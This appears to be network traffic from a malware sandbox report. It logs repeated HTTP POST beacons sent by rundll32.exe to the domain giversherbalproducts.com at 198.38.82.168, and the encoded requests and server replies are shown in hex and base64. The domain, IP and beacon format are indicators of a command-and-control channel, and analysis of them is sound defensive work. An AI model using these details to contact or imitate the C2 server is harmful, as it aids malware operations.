Oct 4, 2021 16:01:13.386563063 CEST	1055	OUT	POST /lBawcxb5/LjI+JSoqJQ4lBiwyAhR7KngvHgopKBhFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:13.962722063 CEST	1057	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:13 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.3	49902	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:58.137934923 CEST	2254	OUT	POST /lBawcxb5/ew0TDR8RAgoIfT0bIEV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:58.569792986 CEST	2520	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:58 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.3	49903	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:58.763848066 CEST	2846	OUT	POST /lBawcxb5/ew0TDR8RAgoIfT0bIEV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:59.209623098 CEST	5423	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:58 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.3	49904	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:58.931005001 CEST	3566	OUT	POST /lBawcxb5/OTo6JTgvJXgEPS9DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:59.417593956 CEST	6008	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:58 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.3	49905	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:59.620862007 CEST	6009	OUT	POST /lBawcxb5/OTo6JTgvJXgEPS9DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:00.148654938 CEST	6011	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:59 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.3	49906	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:59.766918898 CEST	6010	OUT	POST /lBawcxb5/fTB4IBwfOiwYPxk6GRosPCV9BAJzPwp0C3IvDkV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:00.241589069 CEST	6012	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:59 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.3	49909	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:00.570820093 CEST	6021	OUT	POST /lBawcxb5/fTB4IBwfOiwYPxk6GRosPCV9BAJzPwp0C3IvDkV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:01.096790075 CEST	6139	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:00 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.3	49910	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:00.651154041 CEST	6021	OUT	POST /lBawcxb5/EQsPOCI9HT0CfXsGCQQcIA59PT18Q3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:01.142846107 CEST	6140	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:00 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.3	49912	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:01.464772940 CEST	6398	OUT	POST /lBawcxb5/eiIKJxsgHw06Agp6BB8ucnsudSg6HAUOKix7e0V+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:02.031204939 CEST	7000	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:01 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.3	49911	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:01.472186089 CEST	6406	OUT	POST /lBawcxb5/EQsPOCI9HT0CfXsGCQQcIA59PT18Q3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:02.047791004 CEST	7000	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:01 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 